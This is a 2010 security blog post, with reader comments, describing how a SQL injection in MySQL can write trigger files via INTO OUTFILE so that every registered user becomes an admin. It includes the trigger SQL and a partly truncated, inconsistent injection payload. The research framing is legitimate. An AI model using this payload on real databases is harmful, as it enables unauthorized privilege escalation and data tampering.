Wednesday, April 21, 2010

MySQL Stacked Queries with SQL Injection...sort of

Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.

In the next few lines we'll describe a new technique that could allow an attacker
to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of
the Database data dir.
It needs two files:
  • /mysql/datadir/DB/TableName.TRG
  • /mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:

mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;

We can see that two files were created in data directory of users DB:


and /var/lib/mysql/users/user.TRG

triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'

What happens if we successfully write user.TRG and atk.TRN in
/var/lib/mysql/users/users.TRG using INTO OUTFILE ?

AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where

Then do the same to create atk.TRN


MySQL will check if a TRG extension is present and will execute the
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing
  • tabname.MYD
  • tabname.MYI
  • tabname.frm
and of course
  • tabname.TRG
  • triggername.TRN

file format and try to exploit the file format parsers.
We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.


  1. Stefano,

    Nice post!
    By the way, not only MSSQL supports stacked queries via SQL injection: on MySQL/ASP.NET and PostgreSQL with ASP/ASP.NET/PHP it is possible to use stacked queries via SQL injection too.
    If you are interested, see my whitepaper, for details.


  2. Bernardo,
    very fast response! :)
    I already read your very good paper but I missed the ASP.NET "feature"!
    Good to know that.

    Thanks a lot and keep up the good work.
    (do you think this technique could be a new feature on SQLMap? :)


  3. nice one!


  4. As Bernardo has already pointed out, stacked queries depend on the language/dbms combination.

    It will be really useful to complete the "Language/Database Stacked Query Support Table" in Ferruh's cheatsheet


  5. @luca
    agree, this is, in fact, more than a stacked query :)

    Is more a raising in the impact.
    And I expect people to get some good exploitable crash on table formats to gain shell access.

  6. @Stefano, yes definitely. I will plan to add support for it.

    @Luca: to complete Ferruh's cheatsheet you can merge the details of my paper. The new bits follow:
    * Oracle by design does not support stacked queries in any language.
    * MySQL only on ASP.NET.
    * PostgreSQL on ASP/ASP.NET/PHP, don't really know in JSP/Java.

  7. @Stefano, really nice trick. The only problem of this trick AFAIK is that MySQL needs to be restarted after you create the trigger files in order to work.

  8. @Stefano, great work, How this trigger technique can injected into the MySQL when we face the application in terms of public.